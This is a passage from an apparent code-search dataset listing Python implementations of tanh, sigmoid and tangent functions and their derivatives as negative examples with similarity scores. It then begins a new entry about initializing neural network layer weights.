tanh(self, x):\r\n self.x = x\r\n return np.tanh(x)","def tanh(self):\t\t\t\t\n\t\tval = np.tanh(self.val)\n\t\tif len(self.der.shape):\n\t\t\tto_multiply = 1 / np.power(np.cosh(self.val), 2)\n\t\t\tto_multiply = np.expand_dims(to_multiply, 1) if len(self.der.shape) > len(to_multiply.shape) else to_multiply\n\t\t\tder = to_multiply * self.der\n\t\telse:\n\t\t\tder = None\n\t\treturn Var(val, der)","def test_tanh_activation(self):\n self.assertEqual([0.099668, 0.099668], list(\n af.TanH().output(np.array([0.1, 0.1]))))\n self.assertEqual([0.990066, 0.990066], list(\n af.TanH().derivative(np.array([0.1, 0.1]))))","def gradient(cls, x):\n return 1 - TanH.apply(x) ** 2","def tanh(self, x):\n self.x = x\n output = np.tanh(x)\n return output","def dalf(x):\n return derivative(alf, x, dx=1e-6)","def derivative(a, y, z):\n return (a - y) * Sigmoid.derivative(z)","def tan(x):\n raise NotImplementedError","def ddalf(x):\n return derivative(dalf, x, dx=1e-6)","def ddalf(x):\n return derivative(dalf, x, dx=1e-6)","def sigmoid_derivative(z):\n s = 1./(1. + np.exp(-z))\n ds = s * (1 - s)\n return ds","def tan(x):\r\n # see decorator for function body\r","def derivative(func: Callable, x: float, delta: float) -> float:\n return (func(x + delta) - func(x - delta)) / (2.0 * delta)","def tanh_backward(dA, Z):\n\n s = 1 - tanh(Z)**2\n dZ = dA * s\n\n assert (dZ.shape == Z.shape)\n\n return dZ","def ddalf(x):\n return dalf_spl.derivatives(x)[1]","def delta(z, a, y):\n\t\treturn np.subtract(a, y) * sigmoid_derivative(z)","def _sigmoid_to_tanh(x):\n return (x - 0.5) * 2.","def sigmoid_gradient(z):\n #derivative of sigmoid\n return z * (1 - z)","def tanh(self):\r\n getcontext().prec += 2\r\n re2 = 2 * self._real\r\n im2 = 2 * self._imag\r\n den = cosh(re2) + cos(im2)\r\n ans = self.__class__(sinh(re2) / den, sin(im2) / den)\r\n getcontext().prec -= 2\r\n return +ans","def h(x, theta):\n # ... dopolnite (naloga 1)\n\n power = x.dot(-theta.T)\n\n return 1 / (1 + np.exp(power))","def f1(phi, phi_o, d):\n return 1 - sigmoid_decay(phi, phi_o, d)","def ddalf(x):\n return dalf_spl.derivatives(x)[1]","def tanh(self):\n return type(self)(self.parent(),\n self._simplify(self._express.tanh()))","def __tanh_old(self, x):\n return np.tanh(x)","def delta(z, a, y):\n\t\treturn np.subtract(a, y) * sigmoid_derivative(z) ######## A MODIFIER","def tanh(input, inplace=False):\n return FunctionLib.apply(\n 'Tanh', input.device, [input],\n outputs=[input if inplace else None])","def backward_hidden_activation(self, Y, d):\n # y = tanh(x) ==> dy/dx = (1 - tanh(x)^2) = (1 - y^2)\n return d * (1 - Y ** 2)","def der_sigmoid(y):\n return y * (1 - y)","def tan(data):\n return _make.tan(data)","def dalf(x):\n return grad(alf)(x)","def tanh(obj):\n\tif isinstance(obj, Variable):\n\t\tval = np.tanh(obj.val)\n\t\tder = 1-np.tanh(obj.val)**2\n\t\tif len(obj.der.shape)>len(der.shape):\n\t\t\tder = np.expand_dims(der,1)\n\t\tder = np.multiply(der, obj.der)\n\t\treturn Variable(val, der)\n\telse:\n\t\treturn np.tanh(obj)","def tanh_forward(self, x):\n \n #############################################################################\n # TODO: Implement the tanh forward pass. #\n #############################################################################\n out = np.tanh(x)\n #############################################################################\n # END OF YOUR CODE #\n #############################################################################\n cache = out\n return out, cache","def tanh(Z):\n\n e_2_z = np.exp(2*Z)\n\n A = (e_2_z - 1) / (e_2_z + 1)\n\n internal_params = Z\n return A, internal_params","def __sigmoid(z, derivative=False):\n if derivative:\n return z * (1 - z)\n else:\n return 1 / (1 + np.exp(-z))","def test_tanh_con():\n c=14\n assert {'diff':EF.tanh(c).der, 'value': EF.tanh(c).val}=={'diff':0, 'value': ((math.exp(c)-math.exp(-c))/2)/((math.exp(c)+math.exp(-c))/2)}","def tanh_backward(dA, internal_params):\n Z = internal_params\n Zt=tanh(Z)\n dzp=np.power(Zt,2)\n print(dzp.shape)\n dZ=np.multiply(dzp,dA)\n return dZ\n # raise NotImplementedError","def __tanh_old_prime(self, x):\n return 1.0-self.__tanh_old(x)**2","def step_function(x, pseudoderivative_of=tf.nn.tanh):\r\n # forward pass: step function (entire expression is evaluated)\r\n # backward pass: tanh derivative - triangle (-2,2) (only the first part is considered)\r\n return pseudoderivative_of(x) + tf.stop_gradient(-pseudoderivative_of(x) + tf.nn.relu(tf.sign(x)))","def ddphi(x):\n return derivative(dphi, x, dx=1e-6)","def ddphi(x):\n return derivative(dphi, x, dx=1e-6)","def dphi(x):\n return grad(phi)(x)","def sigmoid_grad(z):\n return Sigmoid(z) * (1 - Sigmoid(z))","def deriv_sigmoid(self,z):\n return np.exp(-z) / ( (1 + np.exp(-z)) ** 2 )","def test_tan_2ndord_2vars():\n x, y = fwd.Variable(), fwd.Variable()\n f = fwd.tan(x/y)\n df_dxdy = lambda x, y: -(y/np.cos(x/y)**2 + 2*x*np.tan(x/y)/np.cos(x/y)**2) / y**3\n assert equals(f.derivative_at((x, x), {x: 1.5, y:2.5}, order=2),\n f.derivative_at( x, {x: 1.5, y:2.5}, order=2)) \n assert equals(f.derivative_at((x, y), {x: 1.5, y:2.5}, order=2), \n f.derivative_at((y, x), {x: 1.5, y:2.5}, order=2))\n assert equals(f.derivative_at((x, y), {x: 1.5, y:2.5}, order=2), \n df_dxdy(1.5, 2.5))","def sigmoid_grad(x):\n sig = sigmoid(x)\n return np.multiply(sig, 1 - sig)","def derivative_func(t, x, Approx_func):\n return x.dot(Approx_func)","def derivative ( fun , x , h = 0 , I = 2 , err = False ) :\n\n func = lambda x : float ( fun ( x ) )\n \n ## get the function value at the given point \n f0 = func(x)\n\n ## adjust the rule \n I = min ( max ( I , 1 ) , 8 )\n J = 2 * I + 1\n \n _dfun_ = _funcs_[I]\n delta = _delta_ ( x )\n \n ## if the intial step is too small, choose another one \n if abs ( h ) < _numbers_[I][3] or abs ( h ) < delta : \n if iszero( x ) : h = _numbers_[0][I]\n else : h = abs ( x ) * _numbers_[I][3] \n\n h = max ( h , 2 * delta )\n \n ## 1) find the estimate for first and \"J\"th the derivative with the given step \n d1 , dJ = _dfun_( func , x , h , True )\n \n ## find the optimal step \n if iszero ( dJ ) or ( iszero ( f0 ) and iszero ( x * d1 ) ) :\n if iszero ( x ) : hopt = _numbers_[0][I] \n else : hopt = abs ( x ) * _numbers_[I][3]\n else : \n hopt = _numbers_[I][2] * ( ( abs ( f0 ) + abs ( x * d1 ) ) / abs ( dJ ) )**( 1.0 / J )\n\n ## finally get the derivative \n if not err : return _dfun_ ( func , x , hopt , False )\n\n ## estimate the uncertainty, if needed \n d1,dJ = _dfun_ ( func , x , hopt , True )\n \n e = _numbers_[I][1] / _numbers_[I][2] * J / ( J - 1 ) \n e2 = e * e * ( J * _eps_ + abs ( f0 ) + abs( x * d1 ) )**( 2 - 2./J ) * abs( dJ )**(2./J) \n return VE ( d1 , 4 * e2 )","def tanh_inplace(a):","def sigmoid(x, der=False):\n return sigmoid(x)*(1-sigmoid(x)) if der else 1 / (1 + np.exp(-x))","def __call__ ( self , func , x , h , der = False ) :\n\n ## calculate differences \n imax = self.__order + 2 if der else self.__order + 1\n i = 0\n while i < imax : \n j = i + 1\n self.__df[i] = func ( x + j * h ) - func ( x - j * h )\n i += 1\n \n ## 1) calculate 1st derivative \n result = dot_fma ( self.__order + 1 , self.__df , self.__d1 ) / ( self.__sf1 * h ) \n if not der : return result \n \n ## 2) calculate Nth derivative \n dd = dot_fma ( self.__order + 2 , self.__df , self.__d2 ) / ( self.__sf2 * h**(self.__order*2+3) ) \n \n return result, dd","def test_tan_2ndord():\n # one variable\n x = fwd.Variable()\n f = fwd.tan(2.0*x - 3.0)\n assert equals( f.derivative_at(x, {x: 1.5}, order=2), \n 8.0*np.tan(2.0*1.5-3.0)/(np.cos(2.0*1.5-3.0))**2 )\n # two variables\n x, y = fwd.Variable(), fwd.Variable()\n g = fwd.tan(2.0*x / y)\n assert equals(g.derivative_at(x, {x: 1.5, y: 2.5}, order=2), \n 8.0*np.tan(2.0*1.5/2.5) / (np.cos(2.0*1.5/2.5)**2 * (2.5**2)) )\n # test error raising\n with pytest.raises(NotImplementedError):\n g.derivative_at(x, {x:1.0, y: 2.0}, order=3)","def ddphi(x):\n return derivative(omega, x, dx=1e-6)","def softmax_derivative(x):\n der = derivative(softmax,x,dx=1e-9)\n return der","def diff_sigmoid(z):\r\n diff_z = np.multiply(z, (1.0 - z))\r\n return diff_z\r\n pass","def tan(self):\n\t\t# Ensure that no values in self.val are of the form (pi/2 + k*pi) \n\t\tvalues = map(lambda x: ((x / np.pi) - 0.5) % 1 == 0.0, self.val)\n\t\tif any(values):\n\t\t\traise ValueError(\"Tangent not valid at pi/2, -pi/2.\")\n\t\tval = np.tan(self.val)\n\t\tif len(self.der.shape):\n\t\t\tto_multiply = np.power(1 / np.cos(self.val), 2)\n\t\t\tto_multiply = np.expand_dims(to_multiply, 1) if len(self.der.shape) > len(to_multiply.shape) else to_multiply\n\t\t\tder = np.multiply(to_multiply, self.der)\n\t\telse:\n\t\t\tder = None\n\t\treturn Var(val, der)","def Tanh(z):\n return 1.7159 * np.tanh(2 / 3.0 * z)","def ddphi(x):\n return dphi_spl.derivatives(x)[1]","def ddphi(x):\n return dphi_spl.derivatives(x)[1]","def func_deriv(x, sign=1.0):\n dfdx0 = sign*(-2*x[0] + 2*x[1] + 2)\n dfdx1 = sign*(2*x[0] - 4*x[1])\n return np.array([ dfdx0, dfdx1 ])","def tan(tensor):\n return _elementary_op(tensor, np.tan, lambda x: 1 / (np.cos(x) ** 2))","def abs_deflection(D, x):\r\n return x*np.tan(D*1e-3)*1e3","def apply(cls, x):\n return np.tanh(x)","def sigmoid_backward(dout, cache):\n dx, x = None, cache\n\n f = lambda x: 1/(1 + np.exp(-x)) # activation function (sigmoid)\n\n fun = f(x)\n\n dx = np.multiply(fun, (1-fun))\n dx = np.multiply(dx,dout)\n\n return dx","def derivative_given_y(self, y):\n return 1","def logit_deriv(y):\n# if y.any() < 0.0 or y.any() > 1.0:\n# raise Exception\n\n return y*(1-y)","def one_step(self, x, h):\n concatHX = torch.cat((x, h), 1)\n zt = self.sigmoid(self.linearZ(concatHX))\n rt = self.sigmoid(self.linearR(concatHX))\n ht = (1-zt)*h + zt* self.tanh(self.linearH(rt*concatHX))\n return ht","def grad_sigmoid(self):\n grad = self.sigmoid(self.x) * (1 - self.sigmoid(self.x))\n return grad"],"string":"[\n \"def d_tanh(x):\\n\\n return 1 - x.tanh().pow(2)\",\n \"def d_tanh(x:float)->float:\\n if not isinstance(x, numbers.Real):\\n raise TypeError(\\\"Input value of invalid type\\\")\\n\\n return(1 - math.pow(math.tanh(x), 2))\",\n \"def tanh(x):\\n return (1 - e ** (-2*x))/ (1 + e ** (-2*x))\",\n \"def tanh(x):\\n return (1- power(e,(-2*x))) / (1 + power(e,(-2*x)))\",\n \"def tanh(x):\\n return 0.0\",\n \"def derived_tanh(x):\\n return 1 - tanh(x)\",\n \"def derived_tanh(x):\\n return 1 - tanh(x)\",\n \"def tanh(x):\\r\\n ex = np.exp(x)\\r\\n emx = np.exp(-x)\\r\\n return (ex - emx) / (ex + emx)\",\n \"def activ_fn_derivative(z):\\n return 1 - np.square(np.tanh(z))\",\n \"def grad_tanh(self):\\r\\n return 1 - np.square(self.tanh(self.x))\",\n \"def tanh(x):\\n raise NotImplementedError\",\n \"def grad_tanh(self):\\n grad = 1 - self.tanh(self.x) ** 2\\n return grad\",\n \"def tanh_grad(self, X):\\n return 1-self.tanh(X)**2\",\n \"def tanh(X):\\n\\tif isinstance(X,np.ndarray):\\n\\t\\treturn (2.0/(1.0+np.exp(-(2*X))))-1\\n\\telse:\\n\\t\\tX=np.array(X)\\n\\t\\treturn tanh(X)\",\n \"def sigmoid_derivative(x):\\n return x * (1-x)\",\n \"def tanh(self, X):\\n return (np.exp(X)-np.exp(-X))/(np.exp(X)+np.exp(-X))\",\n \"def sigmoid_derivative(x):\\n return x * (1.0 - x)\",\n \"def sigmoid_derivative(x):\\n\\n return sigmoid(x) * (1 - sigmoid(x))\",\n \"def tanh(x):\\r\\n # see decorator for function body\\r\",\n \"def tanh(self, z, deriv=False):\\n return np.tanh(z) if not deriv else 1 - np.square(np.tanh(z))\",\n \"def derivative_sigmoid(x):\\n return x * (1 - x)\",\n \"def derivative_sigmoid(x):\\n return x * (1 - x)\",\n \"def tanh_grad(z):\\n return 1.7159 * 2 / 3.0 * (1 - (np.tanh(2 / 3.0 * z)) ** 2)\",\n \"def grad_tanh(self):\\n return (1-np.tanh(self.x)*np.tanh(self.x))\\n raise NotImplementedError(\\\"tanh gradient not implemented\\\")\",\n \"def tanh(x:float)->float:\\n if not isinstance(x, numbers.Real):\\n raise TypeError(\\\"Input value of invalid type\\\")\\n\\n return(math.tanh(x))\",\n \"def tan(x):\\n return 0.0\",\n \"def tanh(data):\\n return _make.tanh(data)\",\n \"def _derivative_(self, x, diff_param=None):\\n return 2*exp(-x**2)/sqrt(pi)\",\n \"def tanh(d: D) -> NumDict:\\n\\n return (2 * sigmoid(d)) - 1\",\n \"def derivative_activation(z):\\n return activation(z) * (1 - activation(z))\",\n \"def tanh(a):\",\n \"def sigmoid_derivative(x):\\r\\n\\r\\n ### START CODE HERE ### (≈ 2 lines of code)\\r\\n s = 1.0 /(1 + 1/np.exp(x))\\r\\n ds = s*(1-s)\\r\\n ### END CODE HERE ###\\r\\n\\r\\n return ds\",\n \"def sigmoid_derivative(x):\\n\\n s = sigmoid(x)\\n ds = s * (1 - s)\\n\\n return ds\",\n \"def tanh(self, x):\\r\\n self.x = x\\r\\n return np.tanh(x)\",\n \"def tanh(self):\\t\\t\\t\\t\\n\\t\\tval = np.tanh(self.val)\\n\\t\\tif len(self.der.shape):\\n\\t\\t\\tto_multiply = 1 / np.power(np.cosh(self.val), 2)\\n\\t\\t\\tto_multiply = np.expand_dims(to_multiply, 1) if len(self.der.shape) > len(to_multiply.shape) else to_multiply\\n\\t\\t\\tder = to_multiply * self.der\\n\\t\\telse:\\n\\t\\t\\tder = None\\n\\t\\treturn Var(val, der)\",\n \"def test_tanh_activation(self):\\n self.assertEqual([0.099668, 0.099668], list(\\n af.TanH().output(np.array([0.1, 0.1]))))\\n self.assertEqual([0.990066, 0.990066], list(\\n af.TanH().derivative(np.array([0.1, 0.1]))))\",\n \"def gradient(cls, x):\\n return 1 - TanH.apply(x) ** 2\",\n \"def tanh(self, x):\\n self.x = x\\n output = np.tanh(x)\\n return output\",\n \"def dalf(x):\\n return derivative(alf, x, dx=1e-6)\",\n \"def derivative(a, y, z):\\n return (a - y) * Sigmoid.derivative(z)\",\n \"def tan(x):\\n raise NotImplementedError\",\n \"def ddalf(x):\\n return derivative(dalf, x, dx=1e-6)\",\n \"def ddalf(x):\\n return derivative(dalf, x, dx=1e-6)\",\n \"def sigmoid_derivative(z):\\n s = 1./(1. + np.exp(-z))\\n ds = s * (1 - s)\\n return ds\",\n \"def tan(x):\\r\\n # see decorator for function body\\r\",\n \"def derivative(func: Callable, x: float, delta: float) -> float:\\n return (func(x + delta) - func(x - delta)) / (2.0 * delta)\",\n \"def tanh_backward(dA, Z):\\n\\n s = 1 - tanh(Z)**2\\n dZ = dA * s\\n\\n assert (dZ.shape == Z.shape)\\n\\n return dZ\",\n \"def ddalf(x):\\n return dalf_spl.derivatives(x)[1]\",\n \"def delta(z, a, y):\\n\\t\\treturn np.subtract(a, y) * sigmoid_derivative(z)\",\n \"def _sigmoid_to_tanh(x):\\n return (x - 0.5) * 2.\",\n \"def sigmoid_gradient(z):\\n #derivative of sigmoid\\n return z * (1 - z)\",\n \"def tanh(self):\\r\\n getcontext().prec += 2\\r\\n re2 = 2 * self._real\\r\\n im2 = 2 * self._imag\\r\\n den = cosh(re2) + cos(im2)\\r\\n ans = self.__class__(sinh(re2) / den, sin(im2) / den)\\r\\n getcontext().prec -= 2\\r\\n return +ans\",\n \"def h(x, theta):\\n # ... dopolnite (naloga 1)\\n\\n power = x.dot(-theta.T)\\n\\n return 1 / (1 + np.exp(power))\",\n \"def f1(phi, phi_o, d):\\n return 1 - sigmoid_decay(phi, phi_o, d)\",\n \"def ddalf(x):\\n return dalf_spl.derivatives(x)[1]\",\n \"def tanh(self):\\n return type(self)(self.parent(),\\n self._simplify(self._express.tanh()))\",\n \"def __tanh_old(self, x):\\n return np.tanh(x)\",\n \"def delta(z, a, y):\\n\\t\\treturn np.subtract(a, y) * sigmoid_derivative(z) ######## A MODIFIER\",\n \"def tanh(input, inplace=False):\\n return FunctionLib.apply(\\n 'Tanh', input.device, [input],\\n outputs=[input if inplace else None])\",\n \"def backward_hidden_activation(self, Y, d):\\n # y = tanh(x) ==> dy/dx = (1 - tanh(x)^2) = (1 - y^2)\\n return d * (1 - Y ** 2)\",\n \"def der_sigmoid(y):\\n return y * (1 - y)\",\n \"def tan(data):\\n return _make.tan(data)\",\n \"def dalf(x):\\n return grad(alf)(x)\",\n \"def tanh(obj):\\n\\tif isinstance(obj, Variable):\\n\\t\\tval = np.tanh(obj.val)\\n\\t\\tder = 1-np.tanh(obj.val)**2\\n\\t\\tif len(obj.der.shape)>len(der.shape):\\n\\t\\t\\tder = np.expand_dims(der,1)\\n\\t\\tder = np.multiply(der, obj.der)\\n\\t\\treturn Variable(val, der)\\n\\telse:\\n\\t\\treturn np.tanh(obj)\",\n \"def tanh_forward(self, x):\\n \\n #############################################################################\\n # TODO: Implement the tanh forward pass. #\\n #############################################################################\\n out = np.tanh(x)\\n #############################################################################\\n # END OF YOUR CODE #\\n #############################################################################\\n cache = out\\n return out, cache\",\n \"def tanh(Z):\\n\\n e_2_z = np.exp(2*Z)\\n\\n A = (e_2_z - 1) / (e_2_z + 1)\\n\\n internal_params = Z\\n return A, internal_params\",\n \"def __sigmoid(z, derivative=False):\\n if derivative:\\n return z * (1 - z)\\n else:\\n return 1 / (1 + np.exp(-z))\",\n \"def test_tanh_con():\\n c=14\\n assert {'diff':EF.tanh(c).der, 'value': EF.tanh(c).val}=={'diff':0, 'value': ((math.exp(c)-math.exp(-c))/2)/((math.exp(c)+math.exp(-c))/2)}\",\n \"def tanh_backward(dA, internal_params):\\n Z = internal_params\\n Zt=tanh(Z)\\n dzp=np.power(Zt,2)\\n print(dzp.shape)\\n dZ=np.multiply(dzp,dA)\\n return dZ\\n # raise NotImplementedError\",\n \"def __tanh_old_prime(self, x):\\n return 1.0-self.__tanh_old(x)**2\",\n \"def step_function(x, pseudoderivative_of=tf.nn.tanh):\\r\\n # forward pass: step function (entire expression is evaluated)\\r\\n # backward pass: tanh derivative - triangle (-2,2) (only the first part is considered)\\r\\n return pseudoderivative_of(x) + tf.stop_gradient(-pseudoderivative_of(x) + tf.nn.relu(tf.sign(x)))\",\n \"def ddphi(x):\\n return derivative(dphi, x, dx=1e-6)\",\n \"def ddphi(x):\\n return derivative(dphi, x, dx=1e-6)\",\n \"def dphi(x):\\n return grad(phi)(x)\",\n \"def sigmoid_grad(z):\\n return Sigmoid(z) * (1 - Sigmoid(z))\",\n \"def deriv_sigmoid(self,z):\\n return np.exp(-z) / ( (1 + np.exp(-z)) ** 2 )\",\n \"def test_tan_2ndord_2vars():\\n x, y = fwd.Variable(), fwd.Variable()\\n f = fwd.tan(x/y)\\n df_dxdy = lambda x, y: -(y/np.cos(x/y)**2 + 2*x*np.tan(x/y)/np.cos(x/y)**2) / y**3\\n assert equals(f.derivative_at((x, x), {x: 1.5, y:2.5}, order=2),\\n f.derivative_at( x, {x: 1.5, y:2.5}, order=2)) \\n assert equals(f.derivative_at((x, y), {x: 1.5, y:2.5}, order=2), \\n f.derivative_at((y, x), {x: 1.5, y:2.5}, order=2))\\n assert equals(f.derivative_at((x, y), {x: 1.5, y:2.5}, order=2), \\n df_dxdy(1.5, 2.5))\",\n \"def sigmoid_grad(x):\\n sig = sigmoid(x)\\n return np.multiply(sig, 1 - sig)\",\n \"def derivative_func(t, x, Approx_func):\\n return x.dot(Approx_func)\",\n \"def derivative ( fun , x , h = 0 , I = 2 , err = False ) :\\n\\n func = lambda x : float ( fun ( x ) )\\n \\n ## get the function value at the given point \\n f0 = func(x)\\n\\n ## adjust the rule \\n I = min ( max ( I , 1 ) , 8 )\\n J = 2 * I + 1\\n \\n _dfun_ = _funcs_[I]\\n delta = _delta_ ( x )\\n \\n ## if the intial step is too small, choose another one \\n if abs ( h ) < _numbers_[I][3] or abs ( h ) < delta : \\n if iszero( x ) : h = _numbers_[0][I]\\n else : h = abs ( x ) * _numbers_[I][3] \\n\\n h = max ( h , 2 * delta )\\n \\n ## 1) find the estimate for first and \\\"J\\\"th the derivative with the given step \\n d1 , dJ = _dfun_( func , x , h , True )\\n \\n ## find the optimal step \\n if iszero ( dJ ) or ( iszero ( f0 ) and iszero ( x * d1 ) ) :\\n if iszero ( x ) : hopt = _numbers_[0][I] \\n else : hopt = abs ( x ) * _numbers_[I][3]\\n else : \\n hopt = _numbers_[I][2] * ( ( abs ( f0 ) + abs ( x * d1 ) ) / abs ( dJ ) )**( 1.0 / J )\\n\\n ## finally get the derivative \\n if not err : return _dfun_ ( func , x , hopt , False )\\n\\n ## estimate the uncertainty, if needed \\n d1,dJ = _dfun_ ( func , x , hopt , True )\\n \\n e = _numbers_[I][1] / _numbers_[I][2] * J / ( J - 1 ) \\n e2 = e * e * ( J * _eps_ + abs ( f0 ) + abs( x * d1 ) )**( 2 - 2./J ) * abs( dJ )**(2./J) \\n return VE ( d1 , 4 * e2 )\",\n \"def tanh_inplace(a):\",\n \"def sigmoid(x, der=False):\\n return sigmoid(x)*(1-sigmoid(x)) if der else 1 / (1 + np.exp(-x))\",\n \"def __call__ ( self , func , x , h , der = False ) :\\n\\n ## calculate differences \\n imax = self.__order + 2 if der else self.__order + 1\\n i = 0\\n while i < imax : \\n j = i + 1\\n self.__df[i] = func ( x + j * h ) - func ( x - j * h )\\n i += 1\\n \\n ## 1) calculate 1st derivative \\n result = dot_fma ( self.__order + 1 , self.__df , self.__d1 ) / ( self.__sf1 * h ) \\n if not der : return result \\n \\n ## 2) calculate Nth derivative \\n dd = dot_fma ( self.__order + 2 , self.__df , self.__d2 ) / ( self.__sf2 * h**(self.__order*2+3) ) \\n \\n return result, dd\",\n \"def test_tan_2ndord():\\n # one variable\\n x = fwd.Variable()\\n f = fwd.tan(2.0*x - 3.0)\\n assert equals( f.derivative_at(x, {x: 1.5}, order=2), \\n 8.0*np.tan(2.0*1.5-3.0)/(np.cos(2.0*1.5-3.0))**2 )\\n # two variables\\n x, y = fwd.Variable(), fwd.Variable()\\n g = fwd.tan(2.0*x / y)\\n assert equals(g.derivative_at(x, {x: 1.5, y: 2.5}, order=2), \\n 8.0*np.tan(2.0*1.5/2.5) / (np.cos(2.0*1.5/2.5)**2 * (2.5**2)) )\\n # test error raising\\n with pytest.raises(NotImplementedError):\\n g.derivative_at(x, {x:1.0, y: 2.0}, order=3)\",\n \"def ddphi(x):\\n return derivative(omega, x, dx=1e-6)\",\n \"def softmax_derivative(x):\\n der = derivative(softmax,x,dx=1e-9)\\n return der\",\n \"def diff_sigmoid(z):\\r\\n diff_z = np.multiply(z, (1.0 - z))\\r\\n return diff_z\\r\\n pass\",\n \"def tan(self):\\n\\t\\t# Ensure that no values in self.val are of the form (pi/2 + k*pi) \\n\\t\\tvalues = map(lambda x: ((x / np.pi) - 0.5) % 1 == 0.0, self.val)\\n\\t\\tif any(values):\\n\\t\\t\\traise ValueError(\\\"Tangent not valid at pi/2, -pi/2.\\\")\\n\\t\\tval = np.tan(self.val)\\n\\t\\tif len(self.der.shape):\\n\\t\\t\\tto_multiply = np.power(1 / np.cos(self.val), 2)\\n\\t\\t\\tto_multiply = np.expand_dims(to_multiply, 1) if len(self.der.shape) > len(to_multiply.shape) else to_multiply\\n\\t\\t\\tder = np.multiply(to_multiply, self.der)\\n\\t\\telse:\\n\\t\\t\\tder = None\\n\\t\\treturn Var(val, der)\",\n \"def Tanh(z):\\n return 1.7159 * np.tanh(2 / 3.0 * z)\",\n \"def ddphi(x):\\n return dphi_spl.derivatives(x)[1]\",\n \"def ddphi(x):\\n return dphi_spl.derivatives(x)[1]\",\n \"def func_deriv(x, sign=1.0):\\n dfdx0 = sign*(-2*x[0] + 2*x[1] + 2)\\n dfdx1 = sign*(2*x[0] - 4*x[1])\\n return np.array([ dfdx0, dfdx1 ])\",\n \"def tan(tensor):\\n return _elementary_op(tensor, np.tan, lambda x: 1 / (np.cos(x) ** 2))\",\n \"def abs_deflection(D, x):\\r\\n return x*np.tan(D*1e-3)*1e3\",\n \"def apply(cls, x):\\n return np.tanh(x)\",\n \"def sigmoid_backward(dout, cache):\\n dx, x = None, cache\\n\\n f = lambda x: 1/(1 + np.exp(-x)) # activation function (sigmoid)\\n\\n fun = f(x)\\n\\n dx = np.multiply(fun, (1-fun))\\n dx = np.multiply(dx,dout)\\n\\n return dx\",\n \"def derivative_given_y(self, y):\\n return 1\",\n \"def logit_deriv(y):\\n# if y.any() < 0.0 or y.any() > 1.0:\\n# raise Exception\\n\\n return y*(1-y)\",\n \"def one_step(self, x, h):\\n concatHX = torch.cat((x, h), 1)\\n zt = self.sigmoid(self.linearZ(concatHX))\\n rt = self.sigmoid(self.linearR(concatHX))\\n ht = (1-zt)*h + zt* self.tanh(self.linearH(rt*concatHX))\\n return ht\",\n \"def grad_sigmoid(self):\\n grad = self.sigmoid(self.x) * (1 - self.sigmoid(self.x))\\n return grad\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.83941805","0.80225915","0.7937077","0.78862315","0.78078306","0.7777195","0.7777195","0.7744556","0.75239104","0.7510693","0.74799824","0.746419","0.74618053","0.7429449","0.73665565","0.7362666","0.7334647","0.72786546","0.727234","0.7268931","0.7219215","0.7219215","0.7165723","0.71402425","0.7101533","0.70927775","0.70315456","0.70066506","0.700157","0.69966966","0.69878006","0.697737","0.69770825","0.69750166","0.6936608","0.69351166","0.6924996","0.691914","0.69117194","0.6863134","0.6810942","0.6796547","0.6796547","0.6767764","0.66944957","0.66937864","0.6663288","0.665387","0.66238946","0.66069686","0.6605994","0.6581397","0.6579881","0.6578218","0.65562046","0.6520779","0.65157604","0.65101326","0.6505854","0.65001506","0.6464138","0.64487845","0.64282316","0.64229995","0.6418788","0.64144623","0.6406932","0.6392202","0.6376758","0.6375351","0.63698584","0.6364441","0.6364441","0.63428974","0.63245744","0.63242185","0.63113505","0.6273286","0.6241473","0.6228673","0.6225274","0.620629","0.61996925","0.6195327","0.6191789","0.61843526","0.61681473","0.6136007","0.6125602","0.61200476","0.61200476","0.61062175","0.6094459","0.60895145","0.6081025","0.6072453","0.6072418","0.60678476","0.6060894","0.6058349"],"string":"[\n \"0.83941805\",\n \"0.80225915\",\n \"0.7937077\",\n \"0.78862315\",\n \"0.78078306\",\n \"0.7777195\",\n \"0.7777195\",\n \"0.7744556\",\n \"0.75239104\",\n \"0.7510693\",\n \"0.74799824\",\n \"0.746419\",\n \"0.74618053\",\n \"0.7429449\",\n \"0.73665565\",\n \"0.7362666\",\n \"0.7334647\",\n \"0.72786546\",\n \"0.727234\",\n \"0.7268931\",\n \"0.7219215\",\n \"0.7219215\",\n \"0.7165723\",\n \"0.71402425\",\n \"0.7101533\",\n \"0.70927775\",\n \"0.70315456\",\n \"0.70066506\",\n \"0.700157\",\n \"0.69966966\",\n \"0.69878006\",\n \"0.697737\",\n \"0.69770825\",\n \"0.69750166\",\n \"0.6936608\",\n \"0.69351166\",\n \"0.6924996\",\n \"0.691914\",\n \"0.69117194\",\n \"0.6863134\",\n \"0.6810942\",\n \"0.6796547\",\n \"0.6796547\",\n \"0.6767764\",\n \"0.66944957\",\n \"0.66937864\",\n \"0.6663288\",\n \"0.665387\",\n \"0.66238946\",\n \"0.66069686\",\n \"0.6605994\",\n \"0.6581397\",\n \"0.6579881\",\n \"0.6578218\",\n \"0.65562046\",\n \"0.6520779\",\n \"0.65157604\",\n \"0.65101326\",\n \"0.6505854\",\n \"0.65001506\",\n \"0.6464138\",\n \"0.64487845\",\n \"0.64282316\",\n \"0.64229995\",\n \"0.6418788\",\n \"0.64144623\",\n \"0.6406932\",\n \"0.6392202\",\n \"0.6376758\",\n \"0.6375351\",\n \"0.63698584\",\n \"0.6364441\",\n \"0.6364441\",\n \"0.63428974\",\n \"0.63245744\",\n \"0.63242185\",\n \"0.63113505\",\n \"0.6273286\",\n \"0.6241473\",\n \"0.6228673\",\n \"0.6225274\",\n \"0.620629\",\n \"0.61996925\",\n \"0.6195327\",\n \"0.6191789\",\n \"0.61843526\",\n \"0.61681473\",\n \"0.6136007\",\n \"0.6125602\",\n \"0.61200476\",\n \"0.61200476\",\n \"0.61062175\",\n \"0.6094459\",\n \"0.60895145\",\n \"0.6081025\",\n \"0.6072453\",\n \"0.6072418\",\n \"0.60678476\",\n \"0.6060894\",\n \"0.6058349\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.8256705"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":14496,"cells":{"query":{"kind":"string","value":"layers should be list of neurons in each layer, ex. [2, 3, 1]"},"document":{"kind":"string","value":"def __init__(self, layers, r_min, r_max, learn_rate):\n\n if not isinstance(layers, list) or len(layers) < 3:\n raise ValueError('invalid layer parammeter')\n self.layers = layers\n n_layer = len(layers)\n self.n_layer = n_layer\n self.r_min = r_min\n self.r_max = r_max\n self.learn_rate = learn_rate\n\n # initialize ws\n self.ws = []\n for layer_idx in range(n_layer - 1):\n layer_size = (layers[layer_idx] + 1, layers[layer_idx + 1])\n w = self.init_w(layer_size)\n self.ws.append(w)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n 